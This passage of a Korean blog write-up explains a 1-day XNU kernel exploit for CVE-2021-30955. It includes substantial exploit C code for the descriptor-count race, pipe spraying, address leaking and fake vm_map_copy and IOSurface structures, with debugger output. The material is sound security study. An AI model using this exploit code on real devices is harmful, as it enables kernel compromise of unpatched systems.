\ud55c\ubc88 \ub354 \uc77d\uc5b4\ub4e4\uc5ec \ubc18\uc601\ud558\uae30 \ub54c\ubb38\uc5d0 TOCTOU\uac00 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n<p>descriptor count\ub97c \uc77d\uc5b4\ub4e4\uc774\ub294 \ud2b9\uc815 \uc2dc\uc810\uc740 \uc815\ud655\ud788\n\uccab\ubc88\uc9f8\uc5d0 <code>ipc_kmsg_alloc<\/code>(xnu-8019.41.5\/osfmk\/ipc\/ipc_kmsg.c:1973)\ub97c \ud638\ucd9c\ud560\ub54c descriptors\ub97c \uc77d\uc5b4\ub4e4\uc77c\ub54c\uc774\uace0, \ub450\ubc88\uc9f8\uc5d0 <code>ipc_kmsg_get_user<\/code>(xnu-8019.41.5\/osfmk\/ipc\/ipc_kmsg.c:1999)\uc5d0\uc11c <code>copyinmsg<\/code>\uc5d0 \uc758\ud574 \uc77d\uc5b4\ub4e4\uc778\ub2e4.<\/p>\n<p>\ucde8\uc57d\uc810\uc744 \ud2b8\ub9ac\uac70\ud558\ub294 \ucf54\ub4dc\ub97c \uc0b4\ud3b4\ubcf4\uba74, kmsg\ub97c \uc1a1\uc2e0\ud558\uace0 \ud30c\uad34\ud558\ub294\uac83\uc744 \ubc18\ubcf5\ud55c\ub2e4.\n\uc774\ub584 <code>race_thread<\/code>\uc5d0\uc11c  descriptor count\ub97c 14(N_DESC)\uc640 1014(N_CORRUPTED)\ub85c \ubb34\ud55c\ud788 \uacc4\uc18d \uac12\uc744 \ubcc0\uacbd\uc2dc\ud0a4\uace0 \uc788\ub2e4.<\/p>\n<p>\uadf8\ub7ec\uba74 \uc5b4\ub290\uc21c\uac04 <code>ikm_header<\/code>\uac00 \uc67c\ucabd\uc73c\ub85c \uc774\ub3d9\ud558\uba74\uc11c \uacbd\uacc4 \ubc16\uc73c\ub85c \ubc97\uc5b4\ub098\uac8c\ub054 \ub9cc\ub4e6\uc73c\ub85c\uc368, \uad6c\uba4d\uc744 \ub6ab\uc5b4\ub193\uc740 \ud560\ub2f9\ud574\uc81c\ub41c \ud30c\uc774\ud504 \ubc84\ud37c\ub4e4 \uc911 \uc5b4\ub290 \ud558\ub098\uc758 \uc67c\ucabd \uacf5\uac04, \uc989 \ud30c\uc774\ud504 \ubc84\ud37c\uc640 \uacb9\uce58\uba74\uc11c &#8211; \ud30c\uc774\ud504\ubc84\ud37c\uc5d0 <code>ikm_header<\/code>\uc640 port descriptor \ubc30\uc5f4 \ub0b4\uc6a9 \uc77c\ubd80\ub97c \ucc28\uc9c0\ud558\uac8c \ub420\uac83\uc774\ub2e4.<\/p>\n<p>\ud655\uc778\ud558\ub294 \ubc29\ubc95\uc740 \uc5ec\ub7ec \ud30c\uc774\ud504\ub97c \uc77d\uc5c8\uc744\ub54c, \uc77c\ubd80 \ub0b4\uc6a9\uc774 0x80000011(<code>MACH_MSGH_BITS_COMPLEX | MACH_MSG_TYPE_MOVE_SEND<\/code>)\uac12\uc774 \ub4e4\uc5b4\uc788\ub2e4\uba74 \uacb9\uce5c \uac83\uc73c\ub85c \uac04\uc8fc\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">\/\/ N_DESC = 14 and N_CORRUPTED = 1014 will make a message have 0x4000 size\n\/\/ (there are other combinations however for some reason ones where difference is lower don't work?)\n\n#define N_DESC 14\n#define N_CORRUPTED 1014\n\n\/\/ size of ool buffer\n#define OOL_SIZE 0x100\n#define BIG_BUFFER_SIZE 0x10000\n\nstruct exp_msg {\n    mach_msg_header_t hdr; \/\/0x20\n    mach_msg_body_t body; \/\/4\n    mach_msg_ool_ports_descriptor_t ool_ports; \/\/0x10\n    mach_msg_ool_descriptor_t ool_desc[N_CORRUPTED - 1]; \/\/0x3f50\n};\n\nstruct exp_msg msg;\n\nvoid exploit() {\n    \/\/ ool buffer\n    void* buf = calloc(1, OOL_SIZE * N_DESC);\n    \n    void *ports = calloc(1, BIG_BUFFER_SIZE\/2); \/\/ size of a port in userland is half its size in kernel\n    \n    \/\/ set up the message\n    msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);\n    msg.hdr.msgh_size = (mach_msg_size_t)(sizeof(struct exp_msg));\n    msg.hdr.msgh_remote_port = 0;\n    msg.hdr.msgh_local_port = MACH_PORT_NULL;\n    msg.hdr.msgh_id = 0x12341234;\n    \n    \/\/ set the initial (smaller) descriptor count\n    msg.body.msgh_descriptor_count = N_DESC;\n    \n    \/\/ ool ports descriptor\n    msg.ool_ports.address = ports;\n    msg.ool_ports.count = BIG_BUFFER_SIZE \/ 8;\n    msg.ool_ports.deallocate = 0;\n    msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;\n    msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;\n    msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;\n    \n    \/\/ ool descriptors\n    for (int i = 0; i &lt; N_DESC - 1; i++) {\n        msg.ool_desc[i].address = buf + i * OOL_SIZE;\n        msg.ool_desc[i].size = OOL_SIZE;\n        msg.ool_desc[i].deallocate = 0;\n        msg.ool_desc[i].type = MACH_MSG_OOL_DESCRIPTOR;\n        msg.ool_desc[i].copy = MACH_MSG_PHYSICAL_COPY;\n    }\n    \n    ...\n    printf(&quot;[*] Racing\\n&quot;);\n    \n    \/\/ more reliability voodoo\n    pthread_attr_t pattr;\n    pthread_attr_init(&amp;pattr);\n    pthread_attr_set_qos_class_np(&amp;pattr, QOS_CLASS_USER_INITIATED, 0);\n    \/\/ start the threads\n    pthread_t thread;\n    pthread_create(&amp;thread, &amp;pattr, (void*)race_thread, NULL);\n\n    \/\/ try up to 100000 times\n    for (int i = 0; i &lt; 100000; i++) {\n\n        \/\/ create a mach port where we'll send the message\n        dest = new_mach_port();\n    \n        \/\/ send\n        msg.hdr.msgh_remote_port = dest;\n        int ret = mach_msg_send(&amp;msg);\n        if (ret) printf(&quot;error: %s\\n&quot;, mach_error_string(ret));\n\n        #if ENABLE_HELPER\n        printf(&quot;Allocated kmsg, ikm_header = 0x%llx, i = %d\\n&quot;, xpaci(find_kmsgdata_from_port(msg.hdr.msgh_remote_port)), i);\n        #endif\n    \n        \/\/ hopefully (pre-trigger):\n        \/\/ -----------+-----------+-----------+-----------+------------+-------------+-----------\n        \/\/    pipe1   |   pipe2   |    ...    |   pipeN   | ikm_header |   pipeN+2   |    ...\n        \/\/ -----------+-----------+-----------+-----------+------------+-------------+-----------\n        \n        \/\/ after bug trigger pipeN should overlap with ikm_header:\n        \n        \/\/                                            +----------------+\n        \/\/                                            |                |\n        \/\/ -----------+-----------+-----------+-----------+            +-------------+-----------\n        \/\/    pipe1   |   pipe2   |    ...    |   pipeN   | ikm_header |   pipeN+2   |    ...\n        \/\/ -----------+-----------+-----------+-----------+------------+-------------+-----------\n       \n        \n        \/\/ check if we overwrote one of the pipe buffers\n        for (int i = 0; i &lt; pipe_count; i++) {\n            if (pipefds[i * 2] &amp;&amp; pipefds[i * 2] != opipe[0]) {;\n                ssize_t ret = read(pipefds[i * 2], pipe_buf, KALLOC_SIZE);\n                if (ret == -1) {\n                    printf(&quot;[-] Failed to read pipe: %s\\n&quot;, strerror(errno));\n                    continue;\n                }\n   \n                \/\/ there seem to be some extra 56 bytes between the two\n                int off = KALLOC_SIZE - 4 * (N_CORRUPTED - N_DESC) + 56;\n                \n                if (*(uint32_t*)(pipe_buf + off) == 0x80000011) {\n                    ...\n                }\n                \n                memset(pipe_buf, 0, KALLOC_SIZE);\n                write(pipefds[i * 2 + 1], pipe_buf, KALLOC_SIZE - 1);\n            }\n        }\n        \n        \/\/ if bug didn't work, free message and try again\n        \/\/ if bug worked but pipes weren't affected then we corrupted something else, let this just panic\n        mach_port_destroy(mach_task_self(), dest);\n    }\n    printf(&quot;[-] Exploit failed\\n&quot;);\n    return;\n}\n        \nmach_port_t new_mach_port() {\n    mach_port_t port = MACH_PORT_NULL;\n    kern_return_t ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &amp;port);\n    if (ret) {\n        printf(&quot;[-] failed to allocate port\\n&quot;);\n        return MACH_PORT_NULL;\n    }\n    \n    mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);\n    if (ret) {\n        printf(&quot;[-] failed to insert right\\n&quot;);\n        mach_port_destroy(mach_task_self(), port);\n        return MACH_PORT_NULL;\n    }\n    \n    mach_port_limits_t limits = {0};\n    limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;\n    ret = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&amp;limits, MACH_PORT_LIMITS_INFO_COUNT);\n    if (ret) {\n        printf(&quot;[-] failed to increase queue limit\\n&quot;);\n        mach_port_destroy(mach_task_self(), port);\n        return MACH_PORT_NULL;\n    }\n    \n    return port;\n}        \n\nvoid race_thread() {\n    while (1) {\n        \/\/ continue;\n        \/\/ change the descriptor count back and forth\n        \/\/ eventually the race will work just right so we get this order of actions:\n        \/\/ count = N_DESC -&gt; first copyin -&gt; count = N_CORRUPTED -&gt; second copyin\n        msg.body.msgh_descriptor_count = N_CORRUPTED;\n        msg.body.msgh_descriptor_count = N_DESC;\n    }\n}\n<\/code><\/pre>\n<p>\uc5ec\uae30\uc11c \uc774\ub8e8\uc5b4\uc9c0\ub294 \ucee4\ub110 \ud560\ub2f9\uc5d0 \ub300\ud574 \uc911\uc694\ud55c \uc810 \uba87\uac00\uc9c0 \uc9da\uace0 \ub118\uc5b4\uac00\uc790.<\/p>\n<p><code>msg.hdr.msgh_size = (mach_msg_size_t)(sizeof(struct exp_msg));<\/code>\n<code>msg.body.msgh_descriptor_count = N_DESC;<\/code> \ucf54\ub4dc\uc5d0 \uc758\ud574\n<code>ipc_kmsg_alloc<\/code> \uc5d0\uc11c kmsg \ud560\ub2f9\uc744 \uc704\ud558\uc5ec 0x4000\ud06c\uae30\ub9cc\ud07c KHEAP_DATA_BUFFERS \ud0c0\uc785\uc73c\ub85c \ud560\ub2f9\ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Screenshot_2026-01-23_at_4.33.04_PM.png\" alt=\"Screenshot 2026-01-23 at 4.33.04\u202fPM.png\"><\/p>\n<p>\ub2e4\uc74c\uc73c\ub85c,<\/p>\n<p><code>msg.ool_ports.count = BIG_BUFFER_SIZE \/ 8;<\/code>\n<code>msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;<\/code> \ucf54\ub4dc\uc5d0 \uc758\ud574  <code>ipc_kmsg_copyin_ool_ports_descriptor<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud558\uba74\uc11c\n<code>kalloc_type<\/code>(xnu-8019.41.5\/osfmk\/ipc\/ipc_kmsg.c:3443)\uc5d0\uc11c \ucd5c\uc885\uc801\uc73c\ub85c KHEAP_DEFAULT \ud0c0\uc785\uc73c\ub85c 0x10000 \ud06c\uae30\ub97c \ud560\ub2f9\ud558\uac8c\ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Screenshot_2026-01-23_at_3.55.38_PM.png\" alt=\"Screenshot 2026-01-23 at 3.55.38\u202fPM.png\"><\/p>\n<p>\ub9c8\uc9c0\ub9c9\uc73c\ub85c,\n<code>msg.ool_desc[i].size = OOL_SIZE; msg.ool_desc[i].type = MACH_MSG_OOL_DESCRIPTOR;<\/code>  \ucf54\ub4dc\uc5d0 \uc758\ud574\n<code>ipc_kmsg_copyin_ool_descriptor<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud558\uba74\uc11c\n<code>vm_map_copyin<\/code> \uc744 \ud1b5\ud574  0x100\ud06c\uae30\ub9cc\ud07c \ucee4\ub110 \uba54\ubaa8\ub9ac\ub97c \ud560\ub2f9\ud558\ub294\uac83\uc73c\ub85c \ubcf4\uc774\ub294\ub370, \ud0c0\uc785\uc774 \uc870\uae08 \ud2b9\uc774\ud558\ub2e4.\nKHEAP_DEFAULT, KHEAP_DATA_BUFFERS \ud0c0\uc785\ub3c4 \uc544\ub2cc \uc0c9\ub2e4\ub978\ub4ef?\ud558\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Screenshot_2026-01-23_at_5.20.52_PM.png\" alt=\"Screenshot 2026-01-23 at 5.20.52\u202fPM.png\"><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Screenshot_2026-01-23_at_5.21.07_PM.png\" alt=\"Screenshot 2026-01-23 at 5.21.07\u202fPM.png\"><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Screenshot_2026-01-23_at_5.18.58_PM.png\" alt=\"Screenshot 2026-01-23 at 5.18.58\u202fPM.png\"><\/p>\n<p>\uc774\uc81c ENABLE_HELPER \ub9e4\ud06c\ub85c\ub97c \ud65c\uc131\ud654\uc2dc\ud0a4\uace0,\n<code>if (*(uint32_t*)(pipe_buf + off) == 0x80000011) {<\/code> \ucf54\ub4dc\uc5d0\uc11c \uc77c\ubd80\ub7ec \uba48\ucd94\ub3c4\ub85d\n<code>getchar()<\/code> \ucf54\ub4dc\ub97c \ub123\uace0 kmsg\ub97c \ubd84\uc11d\ud574\ubcf4\uc790.<\/p>\n<p>\uc2e4\ud589\ud574\ubcf4\uba74 \ub2e4\uc74c\uacfc \uac19\uc774 \ud30c\uc774\ud504\uc5d0 \uc758\ud574 \ud560\ub2f9\ub41c \ucee4\ub110\ubc84\ud37c \uc8fc\uc18c\ub4e4\uacfc\n\uc911\uac04\uc911\uac04\uc5d0 \uad6c\uba4d\uc744 \ub6ab\uc5b4\ub193\uc740 \ud560\ub2f9\ud574\uc81c\ub41c \ud30c\uc774\ud504 \ucee4\ub110\ubc84\ud37c \uc8fc\uc18c\ub4e4,\n\uadf8\ub9ac\uace0 kmsg \ud560\ub2f9\/\ud560\ub2f9\ud574\uc81c\ub97c \ubc18\ubcf5\ud568\uc5d0 \ub530\ub77c \uad6c\ud574\uc9c0\ub294 <code>ikm_header<\/code> \uc8fc\uc18c\ub4e4\uc744 \uc0b4\ud3b4\ubcfc \uc218 \uc788\ub2e4.<\/p>\n<p>\ub05d\uc73c\ub85c TOCTOU\uc5d0 \uc758\ud574 \ud558\uc704 1\ubc14\uc774\ud2b8\uac00 \ud2b9\uc774\ud558\uac8c \u201c0x98\u201d\uc778 \uacf3\uc73c\ub85c <code>ikm_header<\/code>\uac00 \ud560\ub2f9\ub41c\uacf3\uc744 \ud45c\uc2dc\ud558\uba74\uc11c \ub531 \uba48\ucd98 \uac83\uc744 \ubcfc \uc218 \uc788\ub2e4. \uc8fc\uc18c\ub97c \uc0b4\ud3b4\ubd24\uc744\ub54c, \uc5ec\ub7ec \ud30c\uc774\ud504\ub4e4\uc911 895\ubc88 \uc778\ub371\uc2a4(i=895)\uc5d0\uc11c \uacb9\uce58\uac8c\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">.\/exp\ngClient=0xd0f\ngKernelSlide = 0x64b0000, gKernelBase = 0xfffffe000d4b4000\n[*] Setting up exploit\nsurfRoot: 0xfffffe150e980fd0\nsurfClients: 0xfffffe3000940000\n[*] Spraying pipe buffers\n[*] kspace; Allocated pipe kaddr = 0xfffffe2287a04000, rfd = 0x3\n[*] kspace; Allocated pipe kaddr = 0xfffffe2287a28000, rfd = 0x5\n[*] kspace; Allocated pipe kaddr = 0xfffffe22879fc000, rfd = 0x7\n...\n[*] Poking holes\n[*] Freed pipe kaddr = 0xfffffe2287a04000, i = 0\n[*] Freed pipe kaddr = 0xfffffe2287cd0000, i = 64\n[*] Freed pipe kaddr = 0xfffffe2287dd0000, i = 128\n[*] Freed pipe kaddr = 0xfffffe2287ed0000, i = 192\n[*] Freed pipe kaddr = 0xfffffe2287fd0000, i = 256\n[*] Freed pipe kaddr = 0xfffffe22880d0000, i = 320\n[*] Freed pipe kaddr = 0xfffffe22881d0000, i = 384\n[*] Freed pipe kaddr = 0xfffffe22882d0000, i = 448\n[*] Freed pipe kaddr = 0xfffffe22883d0000, i = 512\n[*] Freed pipe kaddr = 0xfffffe22884d0000, i = 576\n[*] Freed pipe kaddr = 0xfffffe22885d0000, i = 640\n[*] Freed pipe kaddr = 0xfffffe22886d0000, i = 704\n[*] Freed pipe kaddr = 0xfffffe22887d0000, i = 768\n[*] Freed pipe kaddr = 0xfffffe22888d0000, i = 832\n[*] Freed pipe kaddr = 0xfffffe22889d0000, i = 896\n[*] Racing\nAllocated kmsg, ikm_header = 0xfffffe22889d0038, i = 0\nAllocated kmsg, ikm_header = 0xfffffe22889d0038, i = 1\nAllocated kmsg, ikm_header = 0xfffffe2287490038, i = 2\nAllocated kmsg, ikm_header = 0xfffffe22889d0038, i = 3\n...\nAllocated kmsg, ikm_header = 0xfffffe2287490038, i = 2197\nAllocated kmsg, ikm_header = 0xfffffe22889cf098, i = 2198\n<\/code><\/pre>\n<p>TOCTOU\uac00 \uc774\ub8e8\uc5b4\uc9c0\uace0 \ub09c\ub4a4\n<code>mach_msg_header_t<\/code> \ub0b4\uc6a9\uacfc  <code>mach_msg_ool_ports_descriptor_t<\/code> <strong>\ubc30\uc5f4 \ub0b4\uc6a9\uc744<\/strong> \uc0b4\ud3b4\ubcf4\uba74 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">(lldb) x\/8gx 0xfffffe22889cf098\n0xfffffe22889cf098: 0x00004f2480000011 0xfffffe151d567480\n0xfffffe22889cf0a8: 0x0000000000000000 0x1234123400000000\n0xfffffe22889cf0b8: 0x00950000000003f6 0x02110000fffffe30\n0xfffffe22889cf0c8: 0x1e51f20000002000 0x01000000fffffe15\n(lldb) x\/32gx 0xfffffe22889cf098+0x24\n0xfffffe22889cf0bc: 0xfffffe3000950000 0x0000200002110000\n0xfffffe22889cf0cc: 0xfffffe151e51f200 0x0000010001000000\n0xfffffe22889cf0dc: 0xfffffe151e51c140 0x0000010001000000\n0xfffffe22889cf0ec: 0xfffffe151e070a00 0x0000010001000000\n0xfffffe22889cf0fc: 0xfffffe151e51c320 0x0000010001000000\n0xfffffe22889cf10c: 0xfffffe151e51d040 0x0000010001000000\n0xfffffe22889cf11c: 0xfffffe151e51e3a0 0x0000010001000000\n0xfffffe22889cf12c: 0xfffffe1511c3ef30 0x0000010001000000\n0xfffffe22889cf13c: 0xfffffe151e51d4a0 0x0000010001000000\n0xfffffe22889cf14c: 0xfffffe151e51c640 0x0000010001000000\n0xfffffe22889cf15c: 0xfffffe151e51c410 0x0000010001000000\n0xfffffe22889cf16c: 0xfffffe151e51c8c0 0x0000010001000000\n0xfffffe22889cf17c: 0xfffffe151e51c960 0x0000010001000000\n0xfffffe22889cf18c: 0xfffffe151e51d9a0 0x0000010001000000\n0xfffffe22889cf19c: 0x0000000000000000 0x0000000000000000\n0xfffffe22889cf1ac: 0x0000000000000000 0x0000000000000000\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2021-30955\/pics\/Screenshot_2026-01-23_at_5.03.53_PM.png\" alt=\"Screenshot 2026-01-23 at 5.03.53\u202fPM.png\"><\/p>\n<h2>5. \uc720\ucd9c\ub41c \ub0b4\uc6a9\uc744 \uae30\ubc18\uc73c\ub85c <code>m_IOSurfaceClientArrayPointer<\/code>  \ubc30\uc5f4 \uc8fc\uc18c \ucd94\uce21\ud558\uae30<\/h2>\n<p>\uc55e\uc11c \ub9d0\ud588\ub2e4\uc2dc\ud53c &#8211; \uc5ec\ub7ec \ud30c\uc774\ud504\ub97c \uc77d\uc5c8\uc744\ub54c, \uc77c\ubd80 \ub0b4\uc6a9\uc774 0x80000011(<code>MACH_MSGH_BITS_COMPLEX | MACH_MSG_TYPE_MOVE_SEND<\/code>)\uac12\uc774 \ub4e4\uc5b4\uc788\ub2e4\uba74 <code>ikm_header<\/code> \ub0b4\uc6a9\uc774 \ud30c\uc774\ud504 \ubc84\ud37c\uc640 \uacb9\uccd0\uc84c\ub2e4\uace0 \ubcfc \uc218 \uc788\ub2e4.<\/p>\n<p>\uc720\ucd9c\ub41c \ub0b4\uc6a9 \uc911\uc5d0 <code>mach_msg_ool_ports_descriptor_t<\/code>, \uc989 OOL \ud3ec\ud2b8 \ub514\uc2a4\ud06c\ub9bd\ud130\uc758 address\ub294  KHEAP_DEFAULT \ud0c0\uc785\uc73c\ub85c 0x10000 \ud06c\uae30\ub9cc\ud07c \ud560\ub2f9\ub41c \uc8fc\uc18c\uac00 \ub4e4\uc5b4\uc788\ub2e4. \ub530\ub77c\uc11c \ud574\ub2f9 \uc8fc\uc18c\uc5d0\uc11c 0x10000\ub9cc\ud07c \ube80\ub2e4\uba74, IOSurfaceRootUserClient \uac1d\uccb4\uc758 <code>m_IOSurfaceClientArrayPointer<\/code>  \ud560\ub2f9 \uc8fc\uc18c\ub97c \uad6c\ud560 \uc218 \uc788\ub2e4.<\/p>\n<p>\uadf8\ub9ac\uace0, \uacb9\uccd0\uc9c4 \ud30c\uc774\ud504\uc758 \uc778\ub371\uc2a4\ub294 opipe \ubc30\uc5f4 \ubcc0\uc218\uc5d0 \ub530\ub85c \uc800\uc7a5\ud574\ub450\uace0, \uadf8 \uc678 \ub098\uba38\uc9c0 \ud30c\uc774\ud504\ub4e4\uc740 \uc804\ubd80 close\uc2dc\ucf1c \ud30c\uc774\ud504\ubc84\ud37c \ud560\ub2f9\uc744 \ud574\uc81c\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">\/\/ how many pipes to spray\n#define N_SPRAY 900\n\n\/\/ size of ool buffer\n#define OOL_SIZE 0x100\n#define BIG_BUFFER_SIZE 0x10000\n\nvoid exploit() {\n...\n                if (*(uint32_t*)(pipe_buf + off) == 0x80000011) {\n                    printf(&quot;[+] Found ikm_header at pipe nr. %d\\n&quot;, i);\n                    struct ool_kmsg *kmsg = pipe_buf+off;\n                    \n#if DEBUG\n                    for (int i = 0; i &lt; N_DESC; i++) {\n                        uint64_t kaddr = (uint64_t)kmsg-&gt;ool_messages[i].address;\n                        printf(&quot;[i] 0x%llx\\n&quot;, kaddr);\n                    }\n#endif\n                     \n                    ool_ports_buffer = (uint64_t)kmsg-&gt;ool_messages[0].address;\n                    \n                    \/\/ assume this scenario is true and hope for the best\n                    IOSC_array = ool_ports_buffer - BIG_BUFFER_SIZE;\n                    \n                    \/\/ save the pipe\n                    opipe[0] = pipefds[i * 2];\n                    opipe[1] = pipefds[i * 2 + 1];\n                    \n                    pipefds[i * 2] = 0;\n                    pipefds[i * 2 + 1] = 0;\n                    \n                    \/\/ close other pipes\n                    for (int i = 0; i &lt; N_SPRAY; i++) {\n                        if (pipefds[i * 2]) close(pipefds[i * 2]);\n                        if (pipefds[i * 2 + 1]) close(pipefds[i * 2 + 1]);\n                    }\n                    \n                    printf(&quot;[+] Leaked ool ports buffer: 0x%llx\\n&quot;, ool_ports_buffer);\n                    printf(&quot;[+] Calculated IOSurfaceClient array address: 0x%llx\\n&quot;, IOSC_array);\n#if ENABLE_HELPER\n                    printf(&quot;[!] orig surfClients: 0x%llx\\n&quot;, surfClients);\n#endif\n                    ...\n                    printf(&quot;[-] Exploit failed\\n&quot;);\n                    return;\n                }\n...\n}\n<\/code><\/pre>\n<h2>6. \ub450\ubc88\uc9f8 \ud30c\uc774\ud504 \uc2a4\ud504\ub808\uc774 \ubc0f IOSurfaceClients \ubc30\uc5f4\uc5d0 AAW\ud558\uae30<\/h2>\n<p>\ub2e4\uc2dc\ud55c\ubc88 \ub354 900\ubc88 \uc815\ub3c4 \ud30c\uc774\ud504 \uc2a4\ud504\ub808\uc774\ub97c \uc9c4\ud589\ud55c\ub2e4.<\/p>\n<p><code>ikm_header<\/code> \ubc0f OOL \ud3ec\ud2b8 \uad00\ub828 \ub0b4\uc6a9\uc774 \uc720\ucd9c\ub418\uc5c8\ub358 \uae30\uc874 \ud30c\uc774\ud504\uc5d0\ub294 \uc77d\uae30\/\uc4f0\uae30\ub97c \ud1b5\ud574\nOOL \ub514\uc2a4\ud06c\ub9bd\ud130 \uc8fc\uc18c \ub300\uc2e0\uc5d0 fake vm_map_copy \ub0b4\uc6a9\uc774 \uc801\ud78c \ud504\ub85c\ud30c\uc77c\ub9c1\ub41c \ud30c\uc774\ud504\ubc84\ud37c \ucee4\ub110 \uc8fc\uc18c(<code>KHEAP_DATA_MAPPABLE_LOC<\/code>)\uac00 \uc801\ud788\ub3c4\ub85d \ub9cc\ub4e0\ub2e4.<\/p>\n<p>\ub05d\uc73c\ub85c, IOSurfaceClients \ubc30\uc5f4 \uc911\uc5d0 \uc801\ud78c \ud558\ub098\uc758 IOSurfaceClient \uc8fc\uc18c \ub300\uc2e0\uc5d0\n\ub9c8\ucc2c\uac00\uc9c0\ub85c \ud504\ub85c\ud30c\uc77c\ub9c1\ub41c \ud30c\uc774\ud504\ubc84\ud37c \ucee4\ub110 \uc8fc\uc18c(<code>KHEAP_DATA_MAPPABLE_LOC<\/code>)\uac00 \uc801\ud788\ub3c4\ub85d \ub9cc\ub4e0\ub2e4. \ub0b4\ubd80\uc801\uc73c\ub85c\ub294 \ub05d\uc5d0 <code>mach_port_destroy<\/code>\ub97c \ud638\ucd9c\ud568\uc73c\ub85c\uc368, IOSurfaceClients \ubc30\uc5f4\uc5d0 \uc784\uc758\ub85c \uc8fc\uc18c \uc4f0\uae30(AAW; Arbitrary Address Write)\uac00 \uc774\ub8e8\uc5b4\uc9c4\ub2e4.<\/p>\n<p>\uc2e4\ud589 \uacb0\uacfc\uc640 \ud568\uaed8 \ucee4\ub110 \ub514\ubc84\uae45\ud55c \ub0b4\uc6a9, \uadf8\ub9ac\uace0 XNU \uc18c\uc2a4\ucf54\ub4dc\ub97c \ubc14\ud0d5\uc73c\ub85c \uad6c\uccb4\uc801\uc73c\ub85c \ud55c\ubc88 \uc0b4\ud3b4\ubcf4\uaca0\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">\n#define KHEAP_DATA_MAPPABLE_LOC 0xfffffe2287d80000 \/\/ may have to be tweaked per device\n\nvoid after_thread(int *pipefds) {\n    \/\/ wait a little bit\n    sleep(1);\n    getchar();\n    ...\n}\n\nvoid exploit() {\n...\n                if (*(uint32_t*)(pipe_buf + off) == 0x80000011) {\n                    ...                   \n                    gBuf = calloc(1, 0x4000); \/\/ need to calculate on A10+\n                    memset(gBuf, 0, 0x4000);\n\n                    pipe_count = 900;\n                    pipefds = create_pipes(&amp;pipe_count);\n                    pipe_spray(pipefds, pipe_count, gBuf, 0x4000, NULL);\n                    for(int i = 0; i &lt; pipe_count; i++) {\n                        read(pipefds[2 * i], gBuf, 0x4000);\n                    }\n\n#if ENABLE_HELPER\n                    for(int i = 0; i &lt; pipe_count; i++) {\n                        uint64_t kspace = obtain_pipe_kaddr(pipefds[2 * i]);\n                        printf(&quot;[*] kspace; Allocated pipe kaddr = 0x%llx, rfd = 0x%llx\\n&quot;, kspace, pipefds[2 * i]);\n                    }\n#endif\n\n                    struct vm_map_copy *copy = gBuf;\n                    struct vm_map_links *entry = gBuf + 0x1000;\n                    \n                    copy-&gt;type = VM_MAP_COPY_ENTRY_LIST; \/\/ we need the entry list type\n                    copy-&gt;c_u.hdr.nentries = 1; \/\/ doesn't really matter\n                    copy-&gt;c_u.hdr.links.next = (struct vm_map_entry*)(gBuf_kspace+0x1000); \/\/ the fake entry\n                    *(uint64_t*)(((uint64_t)&amp;copy-&gt;c_u.hdr) + 0x28) = 0xffffffffbaadc0d1; \/\/ do this to skip some useless code\n                    \n                    fake_IOSC = gBuf + 0x2000; \/\/ fake IOSurfaceClient\n                    fake_IOS = gBuf + 0x3000; \/\/ fake IOSurface\n                    \n                    *(uint64_t*)(fake_IOS + 0x358) = (uint64_t)(gBuf_kspace+0x2000) + 0x1000; \/\/ fake timestamp array = fake ycbcrmatrix array\n                    *(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)(gBuf_kspace+0x3000);\n                    \n                    \n                    void *vm_object = gBuf + 0x3000;\n                    *(uint8_t*)(vm_object + 0xa) = 0x40; \/\/ lock stuff\n                    *(uint32_t*)(vm_object + 0x28) = 2; \/\/ something that needs to be 2 for it to work\n                    *(uint64_t*)(vm_object + 0x48) = 0x1337; \/\/ needs to be non-zero\n                    *(uint32_t*)(vm_object + 0x74) = 0x8000000; \/\/ needs to be this\n                    *(uint32_t*)(vm_object + 0xa4) = 0x400; \/\/ mapping_in_progress = 1\n                    \n                    entry-&gt;prev = (void *)(gBuf_kspace+0x2000);\n                    entry-&gt;next = (void *)(IOSC_array + surfaces[1][0] * 8);\n                    *(uint64_t*)((uint64_t)entry + 0x38) = (uint64_t)(gBuf_kspace + 0x3000); \/\/ the fake vm_object\n                    *(uint64_t*)((uint64_t)entry + 0x48) = 0; \/\/ needs to be 0\n                    \n                    printf(&quot;[*] Writing fake vm_map_copy ptr\\n&quot;);\n                    kmsg-&gt;ool_messages[1].address = (uint64_t)gBuf_kspace;\n\n                    for(int i = 0; i &lt; pipe_count; i++) {\n                        ret = write(pipefds[2 * i + 1], gBuf, 0x4000-1);\n                    }\n\n                    ret = 